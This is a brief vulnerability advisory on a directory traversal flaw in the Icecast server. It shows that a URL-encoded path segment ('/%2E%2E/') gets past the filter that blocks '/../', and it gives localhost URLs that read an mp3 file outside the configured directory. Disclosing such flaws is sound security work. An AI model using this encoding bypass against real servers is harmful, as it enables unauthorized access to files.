Icecast Directory Traversal Vulnerability <> provided this example:

Mp3-files residing outside the Web catalog can be accessed by replacing ascii-values for each ".", thus using "/%2E%2E/" instead of "/../" will walk one folder downward.

Place a mp3-file named "test1.mp3" in the directory below the one you specified in the variable "staticdir".

Then write the following in your browser:

http://localhost:8000/file/../test1.mp3 - Will fail in getting the file

http://localhost:8000/file/%2E%2E/test1.mp3 - Will succeed in getting the file
